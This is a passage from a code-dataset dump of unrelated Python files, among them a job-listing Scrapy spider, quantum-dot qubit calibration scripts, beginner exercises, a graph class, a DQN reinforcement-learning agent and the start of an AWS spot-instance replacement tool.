salary_data.re(r'[mM][oO][nN][tT][hH]'):\n\t\t\t\t\t# print(\"\\nMonthly salary detected!\")\n\t\t\t\t\tsalary=12*salary\n\n\t\t\t##### DESCRIPTION\n\t\t\tdesc_data=job.xpath(\".//div[contains(@class,'summary')]/ul/li\")\n\t\t\t# print(\"----------------------\")\n\t\t\t# print(desc_data)\n\t\t\t# print(len(desc_data))\n\t\t\tdesc=\"\"\n\t\t\tfor point in desc_data:\n\t\t\t\tdesc+=(\" \"+point.xpath(\"normalize-space(.//text())\").extract_first())\n\t\t\t# print(desc)\n\n\n\t\t\t##### LINK\n\t\t\tlink_data=job.xpath(\"//a[contains(@class,'jobtitle') and contains(@class,'turnstileLink')]/@href\").extract_first()\n\t\t\tlink=re.sub(r'(https:\\/\\/www\\.indeed\\.co\\.in)','',link_data)\n\t\t\tlink='https://www.indeed.co.in'+link\n\t\t\t\n\n\n\t\t\tyield {\n\t\t\t\t'TITLE' : job.xpath(\"normalize-space(.//div[@class='title']/a/text())\").extract_first(),\n\t\t\t\t'COMPANY' : company.extract_first(),\n\t\t\t\t'LOCATION' : job.xpath(\"normalize-space(.//div[contains(@class,'location')])\").extract_first(),\n\t\t\t\t'SALARY' : salary,\n\t\t\t\t'DESCRIPTION' : unidecode.unidecode(desc),\n\t\t\t\t'LINK' : link,\n\n\t\t\t}\n\n\t\tnext_page = response.xpath(\"//div[@class='pagination']/a[position()=last()]/@href\").extract_first()\n\t\tif next_page is not None:\n\t\t\tnext_page_link = response.urljoin(next_page)\n\t\t\tyield scrapy.Request(url=next_page_link, callback=self.parse)\n\n# running: scrapy crawl tj -o tj_data.json\n\nclass TJSpider(scrapy.Spider):\n\tname = 'tj'\t\n\t\n\tstart_urls = [\n\t\t#'https://www.timesjobs.com/candidate/job-search.html?from=submit&searchType=personalizedSearch&txtLocation=Bengaluru/%20Bangalore&luceneResultSize=25&postWeek=60&pDate=Y&sequence=1&startPage=1',\n\t\t'https://www.timesjobs.com/candidate/job-search.html?from=submit&searchType=personalizedSearch&txtLocation=Mangalore&luceneResultSize=25&postWeek=60&pDate=Y&sequence=1&startPage=1',\n\t\t'https://www.timesjobs.com/candidate/job-search.html?from=submit&searchType=personalizedSearch&txtLocation=Goa&luceneResultSize=25&postWeek=60&pDate=Y&sequence=1&startPage=1',\n\t\t'https://www.timesjobs.com/candidate/job-search.html?from=submit&searchType=personalizedSearch&txtLocation=Kerala&luceneResultSize=25&postWeek=60&pDate=Y&sequence=1&startPage=1',\n\t\t'https://www.timesjobs.com/candidate/job-search.html?from=submit&searchType=personalizedSearch&txtLocation=Delhi&luceneResultSize=25&postWeek=60&pDate=Y&sequence=1&startPage=1'\n\n\t]\t\t\t\t\n\n\n\n\n\tdef parse(self, response):\n\t\tif response.xpath(\"//div[contains(@class,'no-jobs-found')]\"):\n\t\t\tprint('End of pagination!')\n\t\telse:\n\t\t\tfor job in response.xpath(\"//ul/li[contains(@class,'clearfix')]\"):\n\t\t\t\t\n\t\t\t\t##### SALARY\n\t\t\t\tsalary_data=job.xpath(\"normalize-space(.//i[contains(@class,'rupee')]/../text())\")\n\t\t\t\tsalary=salary_data.re(r'[0-9]*[.]*[0-9]+')\n\t\t\t\tif salary:\n\t\t\t\t\tif len(salary)==2:\n\t\t\t\t\t\t#low_sal=float(re.sub('[,₹]','',salary[0]))\n\t\t\t\t\t\t#high_sal=float(re.sub('[,₹]','',salary[1]))\n\t\t\t\t\t\tlow_sal=float(salary[0])*100000\n\t\t\t\t\t\thigh_sal=float(salary[1])*100000\n\t\t\t\t\t\tsalary=(low_sal+high_sal)/2\n\t\t\t\t\t\t# print(\"Salary averaged!\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tsalary=salary[0]\n\t\t\t\t\t\tsalary=float(salary)*100000\n\t\t\t\t\t# print(salary)\n\n\t\t\t\t##### DESCRIPTION\n\t\t\t\tdesc=re.sub('(Job Description:)|(More Details)', '', job.xpath(\"normalize-space(.//ul[contains(@class,'list-job-dtl')]/li)\").extract_first())\n\t\t\t\t\n\t\t\t\tyield {\n\t\t\t\t\t'TITLE' : job.xpath(\"normalize-space(.//header[contains(@class,'clearfix')]/h2/a/text())\").extract_first(),\n\t\t\t\t\t'COMPANY' : job.xpath(\"normalize-space(.//header[contains(@class,'clearfix')]/h3/text())\").extract_first(),\n\t\t\t\t\t'LOCATION' : job.xpath(\"normalize-space(.//ul[contains(@class,'top-jd-dtl')]/li[position()=last()]/span/text())\").extract_first(),\n\t\t\t\t\t'SALARY' : salary,\n\t\t\t\t\t'DESCRIPTION': unidecode.unidecode(desc),\n\t\t\t\t\t'LINK': job.xpath(\".//header[contains(@class,'clearfix')]/h2/a/@href\").extract_first()\n\t\t\t\t\t# 'AGE OF POSTING' : job.xpath(\"normalize-space(.//span[@class='date '])\").extract_first()\n\t\t\t\t}\n\t\t\t\t\n\n\t\t\t\t# extracting the page number from url, incrementing it and injecting it back into the next url\n\t\t\tcurrent_url=response.request.url\n\t\t\tmatches = re.finditer(r\"(?<=sequence=).[0-9]*\", current_url)\n\t\t\tmatches=list(enumerate(matches))\n\t\t\tpgno=int(matches[0][1].group())\n\t\t\tpgno+=1\n\t\t\tnext_url=re.sub('(?<=sequence=).[0-9]*',str(pgno),current_url)\n\t\t\tprint(\"---------------------------------------------------------ENTERING PAGE\", pgno)\n\t\t\tnext_page_link = response.urljoin(next_url)\n\t\t\tyield scrapy.Request(url=next_page_link, callback=self.parse)\n\n\n\n\n\n\n\t\n\n\t\t\n\t","repo_name":"CinnamonRolls1/job-searcher-webapp","sub_path":"scraper/scraper/spiders/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":6410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"38946518978","text":"from good_morning.calibrations.ultility import get_target, readout_convertor\n\nfrom core_tools.utility.variable_mgr.var_mgr import variable_mgr\nfrom core_tools.sweeps.pulse_lib_wrappers.PSB_exp import run_qubit_exp\nfrom core_tools.sweeps.sweeps import scan_generic\nfrom core_tools.job_mgnt.job_mgmt import job_wrapper\n\nfrom dev_V2.six_qubit_QC_v2.system import six_dot_sample\nfrom dev_V2.Elzerman_2_qubits_clean.TRIG import mk_TRIG\nfrom dev_V2.six_qubit_QC_v2.VAR import variables\n\nimport pulse_lib.segments.utility.looping as lp\nimport matplotlib.pyplot as plt\n\nimport qcodes as qc\nimport scipy as sp\nimport numpy as np\n\n@job_wrapper\ndef PSB12_calibration(sweep_range=0.5, plot=False):\n gates, _311113, ST_anti_12, ST_anti_12_tc_high, ST_anti_56, ST_anti_56_tc_high, vSD1_threshold, vSD2_threshold = variables()\n \n anticrossing = list(ST_anti_12)\n anticrossing[1] = lp.linspace(anticrossing[1] - sweep_range/2,anticrossing[1] + sweep_range/2, 20, axis=0, name='vP1', unit='mV') \n anticrossing[3] = lp.linspace(anticrossing[3] - sweep_range/2,anticrossing[3] + sweep_range/2, 20, axis=1, name='vP2', unit='mV') \n anticrossing =tuple(anticrossing)\n\n var_mgr = variable_mgr()\n\n s = six_dot_sample(qc.Station.default.pulse)\n \n s.add(s.init12, anti_crossing = anticrossing)\n s.add(s.pre_pulse)\n\n s.add(s.wait(10000)) \n s.add(s.q1.X90)\n # s.add(s.wait(50e3)) \n s.add(s.read12, anti_crossing = anticrossing)\n\n # s.add(s.rand_read12, anti_crossing = anticrossing)\n \n s.n_rep = 500\n sequence, minstr, name = run_qubit_exp(f'PSB12_calibration_SLOW', s.sequencer)\n\n qc.Station.default.MW_source.on() \n ds_on = scan_generic(sequence, minstr, name=name).run()\n\n # qc.Station.default.MW_source.off()\n # ds_off = scan_generic(sequence, minstr, name=name).run()\n\n # x = ds_on('read12').x()\n # y = ds_on('read12').y()\n\n # contrast = np.where(ds_on('read12')()>0.9,0,ds_on('read12')()) - np.where(ds_off('read12')()>0.9,0,ds_off('read12')())\n # contrast = sp.ndimage.filters.gaussian_filter(contrast, [2,2], mode='constant')\n # if plot:\n # plt.imshow(contrast)\n \n # var_mgr.PSB_12_P2 = round(x[np.where(contrast == contrast.max())[0][0]], 2)\n # var_mgr.PSB_12_P1 = round(y[np.where(contrast == contrast.max())[1][0]], 2)\n\n # print(f\"Selected point\\n\\tvP1 :: {var_mgr.PSB_12_P1}\\n\\tvP2 :: {var_mgr.PSB_12_P2}\")\n\n # qc.Station.default.MW_source.on() \n\n@job_wrapper\ndef PSB56_calibration(sweep_range=0.5, plot=False):\n gates, _311113, ST_anti_12, ST_anti_12_tc_high, ST_anti_56, ST_anti_56_tc_high, vSD1_threshold, vSD2_threshold = variables()\n \n anticrossing = list(ST_anti_56)\n anticrossing[9] = lp.linspace(anticrossing[9] - sweep_range/2,anticrossing[9] + sweep_range/2, 20, axis=1, name='vP5', unit='mV') \n anticrossing[11] = lp.linspace(anticrossing[11] - sweep_range/2,anticrossing[11] + sweep_range/2, 20, axis=0, name='vP6', unit='mV')\n anticrossing =tuple(anticrossing)\n\n var_mgr = variable_mgr()\n\n s = six_dot_sample(qc.Station.default.pulse)\n \n s.add(s.init56, anti_crossing = anticrossing)\n s.add(s.pre_pulse)\n\n s.add(s.wait(10000)) \n s.add(s.q6.X90)\n # s.add(s.wait(50e3)) \n s.add(s.read56, anti_crossing = anticrossing)\n \n s.n_rep = 500\n sequence, minstr, name = run_qubit_exp(f'PSB56_calibration_SLOW', s.sequencer)\n\n qc.Station.default.MW_source.on() \n ds_on = scan_generic(sequence, minstr, name=name).run()\n\n # qc.Station.default.MW_source.off() \n # ds_off = scan_generic(sequence, minstr, name=name).run()\n\n # x = ds_on('read56').x()\n # y = ds_on('read56').y() \n # contrast = np.where(ds_on('read56')()>0.9,0,ds_on('read56')()) - np.where(ds_off('read56')()>0.9,0,ds_off('read56')())\n # contrast = sp.ndimage.filters.gaussian_filter(contrast, [2,2], mode='constant')\n # if plot:\n # plt.imshow(contrast)\n\n # var_mgr.PSB_56_P5 = round(x[np.where(contrast == contrast.max())[0][0]],2)\n # var_mgr.PSB_56_P6 = round(y[np.where(contrast == contrast.max())[1][0]],2)\n # print(f\"Selected point\\n\\tvP5 :: {var_mgr.PSB_56_P5}\\n\\tvP6 :: {var_mgr.PSB_56_P6}\")\n\n # qc.Station.default.MW_source.on()\n","repo_name":"bundseth/good_morning_scripts","sub_path":"good_morning/calibrations/PSB_calib.py","file_name":"PSB_calib.py","file_ext":"py","file_size_in_byte":4220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20569689824","text":"inp = input().lower()\ncnt = {}\nfor x in inp:\n if not 'a'<=x<='z':continue\n if x not in cnt:cnt[x]=1\n else:cnt[x]+=1\ns = []\nfor x in cnt:\n s.append([-cnt[x],x])\ns.sort()\nfor x in s:\n print(x[1]+' -> '+str(-x[0]))\n","repo_name":"petchluvsyou/2110101-grader","sub_path":"08_Dict_21.py","file_name":"08_Dict_21.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12957721417","text":"# Public imports\n\n# Private imports\n\n# Look ma, no imports!\n\nclass Graph:\n\tdef __init__(self, n = 2):\n\t\tassert n > 0\n\n\t\tself._g = [[0 for x in range(n)] for x in range(n)]\n\n\tdef addNode(self):\n\t\tfor row in self._g:\n\t\t\trow.append(0);\n\n\t\tself._g.append([0 for x in range(len(self._g[0]))])\n\n\t\treturn len(self._g) - 1\n\t\n\tdef connect(self, n, m):\n\t\tassert n != m\n\t\tassert n < len(self._g)\n\t\tassert m < len(self._g)\n\n\t\tself._g[n][m] = 1\n\t\tself._g[m][n] = 1\n\n\tdef getDOTRepresentation(self, complete = True, readable = False, includeNodeIDs = True, degreeAsLabel = True):\n\t\tresult = \"\"\n\n\t\tif complete:\n\t\t\tresult = \"graph G {\"\n\t\t\tif readable:\n\t\t\t\tresult += \"\\n\"\n\n\t\tfor rowI in range(len(self._g)):\n\t\t\tfor colI in range(rowI + 1, len(self._g)):\n\t\t\t\tif self._g[rowI][colI] == 1:\n\t\t\t\t\tif readable:\n\t\t\t\t\t\tresult += \"\\t\"\n\n\t\t\t\t\tresult += \"{} -- {};\".format(rowI, colI)\n\n\t\t\t\t\tif readable:\n\t\t\t\t\t\tresult += \"\\n\"\n\n\t\tif includeNodeIDs or degreeAsLabels:\n\t\t\tfor v in range(len(self._g)):\n\t\t\t\tif readable:\n\t\t\t\t\tresult += \"\\t\"\n\n\t\t\t\tif not degreeAsLabel:\n\t\t\t\t\tresult += \"{};\".format(v)\n\t\t\t\telse:\n\t\t\t\t\tresult += \"{} [label = {}];\".format(v, self.getNeighbourCount(v))\n\n\t\t\t\tif readable:\n\t\t\t\t\tresult += \"\\n\"\n\n\t\tif complete:\n\t\t\tresult += \"}\"\n\n\t\treturn result\n\n\tdef dumpToFile(self, dotFile = \"\", colors = [], colorscheme = \"\"):\n\t\tresult = \"\"\n\n\t\tif colors:\n\t\t\tif colorscheme != \"\":\n\t\t\t\tcolors = [\"/{}/{}\".format(colorscheme, x) for x in colors]\n\n\t\t\tresult = self.getColorFilledDOTRepresentation(colors)\n\t\telse:\n\t\t\tresult = self.getDOTRepresentation()\n\n\t\twith open(dotFile, \"w\") as f:\n\t\t\tf.write(result)\n\t\n\tdef getDegreeColorFilledDOTRepresentation(self, readable = False, degreeAsLabel = True, colorscheme = \"__none__\", colorMax = -1):\n\t\tmaxNeighourCount = self.getMaxNeighbourCount() \n\n\t\tif colorscheme == \"__none__\":\n\t\t\tcolors = ['\"{}{}\"'.format('grey', floor(sum(row) / maxNeighourCount * 100)) for row in self._g]\n\t\telse:\n\t\t\tcolors = ['\"/{}/{}\"'.format(colorscheme, 1 + floor(sum(row) / maxNeighourCount * (colorMax - 1))) for row in self._g]\n\n\t\treturn self.getColorFilledDOTRepresentation(colors, degreeAsLabel, True)\n\n\tdef getColorFilledDOTRepresentation(self, colors, degreeAsLabel = True, readable = False):\n\t\tresult = \"graph G {\"\n\t\tif readable:\n\t\t\tresult += \"\\n\"\n\n\t\tresult += self.getDOTRepresentation(False, readable, degreeAsLabel = True)\n\n\t\tfor v, c in enumerate(colors):\n\t\t\tif readable:\n\t\t\t\tresult += \"\\t\"\n\t\t\t\n\t\t\tresult += \"{} [style = filled, fillcolor = {}];\".format(v, c)\n\n\t\t\tif readable:\n\t\t\t\tresult += \"\\n\"\n\n\t\tresult += \"}\"\n\n\t\treturn result\n\n\tdef getNodeAmount(self):\n\t\treturn len(self._g)\n\n\tdef getNeighbourCount(self, v):\n\t\treturn sum(self._g[v])\n\n\tdef getMaxNeighbourCount(self):\n\t\treturn max([sum(row) for row in self._g])\n\n\tdef getNeighbours(self, v):\n\t\treturn [i for i, x in enumerate(self._g[v]) if x == 1]\n\n\tdef getDegreeSortedNodes(self):\n\t\tnodes = [(v, self.getNeighbours(v)) for v in range(self.getNodeAmount())]\n\t\tnodes = sorted(nodes, key=lambda pair: pair[1])\n\t\treturn [p[0] for p in nodes]\n\n\tdef isConnected(self):\n\t\tassert len(self._g) > 0\n\n\t\tvisited = [False] * len(self._g)\n\t\ttoVisit = [0]\n\n\t\twhile toVisit:\n\t\t\tcurrV = toVisit.pop()\n\t\t\tvisited[currV] = True\n\t\t\ttoVisit += [x for x in self.getNeighbours(currV) if not visited[x]]\n\n\t\treturn sum(visited) == self.getNodeAmount()\n\n\tdef getMaxDegreeNode(self):\n\t\tmaxNode = -1\n\t\tmaxDegree = -1\n\t\tfor v in range(self.getNodeAmount()):\n\t\t\tif self.getNeighbourCount(v) > maxDegree:\n\t\t\t\tmaxNode = v\n\t\t\t\tmaxDegree = self.getNeighbourCount(v)\n\t\t\n\t\treturn maxNode\n\n\tdef deepClone(self):\n\t\tg = Graph(self.getNodeAmount())\n\n\t\tfor f in range(self.getNodeAmount()):\n\t\t\tfor s in range(f + 1, self.getNodeAmount()):\n\t\t\t\tif self._g[f][s] == 1:\n\t\t\t\t\tg.connect(f, s)\n\n\t\treturn g\n","repo_name":"bobismijnnaam/graphsim","sub_path":"supergraphs.py","file_name":"supergraphs.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"16154167810","text":"from pacotes import funcoes\n\n\ndef area(l, c):\n print(f'A área do seu terro de {l}m x {c}m é de {l * c}m².')\n\n\nwhile True:\n l = float(input('Digite a largura do terreno: '))\n c = float(input('Digite o comprimento do terreno: '))\n area(l, c)\n while True:\n resp = funcoes.simnao('Deseja continuar? (S/N) ')\n if resp in 'SN':\n break\n if resp == 'N':\n break\n","repo_name":"sauliiin/Python-from-Padawan-to-Jedi","sub_path":"105.py","file_name":"105.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"43772346607","text":"'''\n1990 : 3의 배수 판별하기\n자연수 n이 입력되면 3의 배수인지 아닌지 판별하시오.\n3의 배수이면 1을 출력하고, 아니면 0을 출력한다.\n'''\nn = int(input())\nif(n%3==0):\n print(1)\nelse:\n print(0)","repo_name":"minhyeonlee/algorithm-python","sub_path":"codeUp/codeUpBasic/1990.py","file_name":"1990.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73115644106","text":"import os.path\nimport sys\nimport logging\nimport re\nfrom modules.BeautifulSoup import BeautifulSoup\n\nCURRENTDIR = os.path.dirname(__file__)\nCITYCONFIG = os.path.join(CURRENTDIR, 'cities.xml')\n\nNAMES_DICT = None\nIDS_DICT = None\n\ndef city_names():\n if not NAMES_DICT:\n load_data()\n \n return NAMES_DICT\n\ndef city_ids():\n if not IDS_DICT:\n load_data()\n \n return IDS_DICT\n\ndef load_data():\n global NAMES_DICT\n global IDS_DICT\n\n NAMES_DICT = {}\n IDS_DICT = {}\n\n markup = BeautifulSoup(open(CITYCONFIG, 'r'))\n\n for node in markup.findAll('city'):\n city_id = node['id']\n city_name = node.text\n\n NAMES_DICT[city_name] = city_id\n IDS_DICT[city_id] = city_name\n\n","repo_name":"yrlihuan/tuan-site-fetcher","sub_path":"extractor/cityutil.py","file_name":"cityutil.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28248480268","text":"'''\nCreate an empty dictionary. Then, welcome the user and give the user a menu with the following options:\n\nAdd a key-value pair to the dictionary.\nRemove a key-value pair from the dictionary.\nQuit.\nMake sure that each choice does what's intended, then return to this main menu and do it again.\n\nPrint the dictionary after each choice is done!\n'''\n\n'''\nWelcome to SmartDictionary!\nCurrently, the dictionary is empty.\n\nDo you want to (a)dd a kv pair, (r)emove a kv pair, or (q)uit? a\nWhat key do you want to add? name\nWhat is the value for this key? Oakland Tech\nCurrently the dictionary is as follows: {'name': 'Oakland Tech'}\n\nDo you want to (a)dd a kv pair, (r)emove a kv pair, or (q)uit? a\nWhat key do you want to add? school_type\nWhat is the value for this key? High School\nCurrently the dictionary is as follows: {'name': 'Oakland Tech', 'school_type': 'High School}\n\nDo you want to (a)dd a kv pair, (r)emove a kv pair, or (q)uit? r\nWhat key do you want to remove? name\nCurrently the dictionary is as follows: {'school_type': 'High School'}\n\nDo you want to (a)dd a kv pair, (r)emove a kv pair, or (q)uit? q\n'''\n\ndict = {}\n\nprint(\"Welcome to SmartDictionary\")\nprint(\"Currently, the dictionary is empty.\")\nprint()\nwhile True:\n action = input(\"Do you want to (a)dd a kv pair, (r)emove a kv pair, or (q)uit? \")\n if action == \"q\":\n break\n elif action == \"a\":\n key = input(\"What key do you want to add? \")\n value = input(\"What is the value for this key? \")\n dict[key] = value\n elif action == \"r\":\n key = input(\"What key do you want to remove? \")\n del dict[key]\n else:\n continue\n print(f\"Currently the dictionary is as follows: {dict}\")\n","repo_name":"NotMyPersonalAccount/DualEnrollmentAssignments","sub_path":"module_08/interactive_dictionary.py","file_name":"interactive_dictionary.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"4994369078","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 19 23:18:57 2020\n\n@author: elif.ayvali\n\"\"\"\nimport numpy as np\nimport random\nfrom collections import namedtuple, deque\n\nfrom network import deep_Q_net, dueling_Q_net\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nBUFFER_SIZE = int(1e4) # replay buffer size\nBATCH_SIZE = 64 # minibatch size\nGAMMA = 0.99 # discount factor\nTAU = 1e-3 # for soft update of target parameters\nLR = 5e-4 # learning rate \nUPDATE_EVERY = 4 # how often to update the network\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nclass Agent():\n \"\"\"Interacts with and learns from the environment.\"\"\"\n\n def __init__(self, state_size, action_size, seed, learning_alg='vanilla_deep_Q_learning'):\n \"\"\"Initialize an Agent object.\n \n Params\n ======\n state_size (int): dimension of each state\n action_size (int): dimension of each action\n seed (int): random seed\n \"\"\"\n self.state_size = state_size\n self.action_size = action_size\n self.seed = random.seed(seed)\n self.learning_alg=learning_alg\n \n # Q-Network\n if self.learning_alg=='deep_Q_learning':\n self.qnetwork_local=deep_Q_net(state_size, action_size, seed).to(device)\n self.qnetwork_target=deep_Q_net(state_size, action_size, seed).to(device)\n\n print('...Running DQN')\n elif self.learning_alg=='double_deep_Q_learning':\n self.qnetwork_local=deep_Q_net(state_size, action_size, seed).to(device)\n self.qnetwork_target=deep_Q_net(state_size, action_size, seed).to(device)\n print('...Running double DQN')\n elif self.learning_alg=='dueling_deep_Q_learning':\n self.qnetwork_local=dueling_Q_net(state_size, action_size, seed).to(device)\n self.qnetwork_target=dueling_Q_net(state_size, action_size, seed).to(device) \n print('...Running dueling DQN')\n else:\n print('Invalid Algorithm Type') \n \n print('Network Architecture', self.qnetwork_local)\n self.optimizer = optim.Adam(self.qnetwork_local.parameters(), lr=LR)\n\n # Replay memory\n self.memory = ReplayBuffer(action_size, BUFFER_SIZE, BATCH_SIZE, seed)\n # Initialize time step (for updating every UPDATE_EVERY steps)\n self.t_step = 0\n \n def step(self, state, action, reward, next_state, done):\n # Save experience in replay memory\n self.memory.add(state, action, reward, next_state, done)\n \n self.t_step = (self.t_step + 1) % UPDATE_EVERY\n # Learn every UPDATE_EVERY time steps:\n if self.t_step == 0:\n # If enough samples are available in memory, get random subset and learn\n if len(self.memory) > BATCH_SIZE:\n experiences = self.memory.sample() #returns torch datatype\n self.learn(experiences, GAMMA) #update value parameters\n\n def act(self, state, eps=0.):\n \"\"\"Returns actions for given state as per current policy.\n \n Params\n ======\n state (array_like): current state\n eps (float): epsilon, for epsilon-greedy action selection\n \"\"\"\n #Convert state to torch structure\n state = torch.from_numpy(state).float().unsqueeze(0).to(device)\n #Evaluate the current network to get action values for the state\n self.qnetwork_local.eval()#This is equivalent with self.train(False)\n with torch.no_grad():\n action_values = self.qnetwork_local(state)\n self.qnetwork_local.train()\n\n # Epsilon-greedy action selection\n #For windows system, action type should be int32 to play nice with Unity\n if random.random() > eps:\n \n greedy_action=np.argmax(action_values.cpu().data.numpy())\n return greedy_action.astype(np.int32)\n else:\n random_action=random.choice(np.arange(self.action_size))\n return random_action.astype(np.int32)\n\n def learn(self, experiences, gamma):\n \"\"\"Update value parameters using given batch of experience tuples.\n\n Params\n ======\n experiences (Tuple[torch.Variable]): tuple of (s, a, r, s', done) tuples \n gamma (float): discount factor \n \"\"\"\n #states: (batchsize x statesize), actions:(batchsize x 1), rewards: (batchsize x 1)\n states, actions, rewards, next_states, dones = experiences\n if self.learning_alg==\"deep_Q_learning\":\n #qnetwork_target(next_states): Get max predicted Q values (for next states) from target model (batchsize x actionsize)\n #qnetwork_target(next_states).max(1)# (1 x batch size) returns two tensors: max value in each batch(row), the column index at which the max value is found.\n #qnetwork_target(next_states).max(1)[0]) # (1 x batch size) gets the max value in each batch \n #qnetwork_target(next_states).max(1)[0].unsqueeze(1) converts it to (bathsize x 1) \n #qnetwork_target(next_states).max(1)[0].unsqueeze(1).detach() detaches the output from the computational graph to ensure that these values don’t update the target network when loss.backward() and optimizer.step() are called\n #Q_target weights should not change during learning phase and should be updated periodically by swapping local network weights\n #select greedy actions using target network and use target network to evaluate its q-value\n Q_greedy = self.qnetwork_target(next_states).max(1)[0].unsqueeze(1).detach() #batchsize x 1 \n # ------Compute Q targets for current states------ : \n elif self.learning_alg==\"double_deep_Q_learning\" or self.learning_alg==\"dueling_deep_Q_learning\":\n #select the greedy action using online network\n greedy_actions = self.qnetwork_local(next_states).max(1)[1].unsqueeze(1).detach()#(bathsize x 1) column index at which the max value is found\n #get the q-values of the selected greedy actions using the target network\n Q_greedy = self.qnetwork_target(next_states).gather(1, greedy_actions) \n\n Q_target = rewards + (gamma * Q_greedy * (1 - dones))#If it is the last episode (dones=1) only reward is used \n\n # -----Get expected Q values from local model------:\n #self.qnetwork_local(states): batch size x action_size \n #Get the Q-values for the actions that the agent actually took, gather() function gets this subset \n Q_est = self.qnetwork_local(states).gather(1, actions)\n # Compute loss\n loss = F.mse_loss(Q_est, Q_target)\n # Minimize the loss\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n # -------Udate target network --_____________-------:\n self.soft_update(self.qnetwork_local, self.qnetwork_target, TAU) \n \n \n def soft_update(self, local_model, target_model, tau):\n \"\"\"Soft update model parameters.\n θ_target = τ*θ_local + (1 - τ)*θ_target\n\n Params\n ======\n local_model (PyTorch model): weights will be copied from\n target_model (PyTorch model): weights will be copied to\n tau (float): interpolation parameter \n \"\"\"\n for target_param, local_param in zip(target_model.parameters(), local_model.parameters()):\n target_param.data.copy_(tau*local_param.data + (1.0-tau)*target_param.data)\n\n\nclass ReplayBuffer:\n \"\"\"Fixed-size buffer to store experience tuples.\"\"\"\n\n def __init__(self, action_size, buffer_size, batch_size, seed):\n \"\"\"Initialize a ReplayBuffer object.\n\n Params\n ======\n action_size (int): dimension of each action\n buffer_size (int): maximum size of buffer\n batch_size (int): size of each training batch\n seed (int): random seed\n \"\"\"\n self.action_size = action_size\n self.memory = deque(maxlen=buffer_size) \n self.batch_size = batch_size\n self.experience = namedtuple(\"Experience\", field_names=[\"state\", \"action\", \"reward\", \"next_state\", \"done\"])\n self.seed = random.seed(seed)\n \n def add(self, state, action, reward, next_state, done):\n \"\"\"Add a new experience to memory.\"\"\"\n e = self.experience(state, action, reward, next_state, done)#define a new tuple\n self.memory.append(e)\n \n def sample(self):\n \"\"\"Randomly sample a batch of experiences from memory.\"\"\"\n experiences = random.sample(self.memory, k=self.batch_size)\n\n states = torch.from_numpy(np.vstack([e.state for e in experiences if e is not None])).float().to(device)\n actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).long().to(device)\n rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().to(device)\n next_states = torch.from_numpy(np.vstack([e.next_state for e in experiences if e is not None])).float().to(device)\n dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().to(device)\n \n return (states, actions, rewards, next_states, dones)\n\n def __len__(self):\n \"\"\"Return the current size of internal memory.\"\"\"\n return len(self.memory)\n \n ","repo_name":"eayvali/DeepRL","sub_path":"DQN DDQN Dueling/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":9534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"32144283522","text":"from __future__ import print_function, absolute_import, division\n\nfrom pils import retry\nimport boto3\n\nfrom .util import _boto_tags_to_dict\nfrom .replacement_policy import ReplacementPolicy\n\n# Any ASG that has a tag with this key will be handled by spotnik.\nSPOTNIK_TAG_KEY = \"spotnik\"\n\n\nclass Spotnik(object):\n def __init__(self, region_name, asg, logger=None):\n self.asg = asg\n self.asg_name = asg['AutoScalingGroupName']\n\n self.ec2_client = boto3.client('ec2', region_name=region_name)\n self.asg_client = boto3.client('autoscaling', region_name=region_name)\n\n self.logger = logger\n\n def describe_instance(self, instance_id):\n response = self.ec2_client.describe_instances(InstanceIds=[instance_id])\n return response['Reservations'][0]['Instances'][0]\n\n def describe_launch_configuration(self, launch_config_name):\n response = self.asg_client.describe_launch_configurations(\n LaunchConfigurationNames=[launch_config_name])\n return response['LaunchConfigurations'][0]\n\n def get_pending_spot_resources(self):\n self.logger.info(\"Searching pending resources of ASG\")\n response = self.ec2_client.describe_spot_instance_requests(Filters=[\n {'Name': 'tag-value', 'Values': [self.asg_name]}])\n requests = response['SpotInstanceRequests']\n\n for request in requests:\n if request['State'] not in ('open', 'active'):\n continue\n\n instance_id = request.get('InstanceId')\n if instance_id is None:\n return request, None\n\n details = self.describe_instance(instance_id)\n state = details['State']['Name']\n self.logger.info(\"Found spot instance %s which is in state %s.\", instance_id, state)\n if state == 'running':\n return request, instance_id\n return request, None\n return None, None\n\n def tag_new_instance(self, new_instance_id, old_instance):\n self.ec2_client.create_tags(Resources=[new_instance_id],\n Tags=[old_instance['Tags']])\n\n @staticmethod\n def get_spotnik_asgs(region_name):\n client = boto3.client('autoscaling', region_name=region_name)\n asgs = client.describe_auto_scaling_groups()['AutoScalingGroups']\n spotnik_asgs = []\n for asg in asgs:\n tags = asg['Tags']\n tag_keys = [tag['Key'] for tag in tags]\n if SPOTNIK_TAG_KEY in tag_keys:\n spotnik_asgs.append(asg)\n return spotnik_asgs\n\n def attach_spot_instance(self, spot_instance_id, spot_request):\n instance_id = _boto_tags_to_dict(spot_request['Tags'])['spotnik-will-replace']\n\n self.logger.info(\"attaching: %r detaching: %r\", 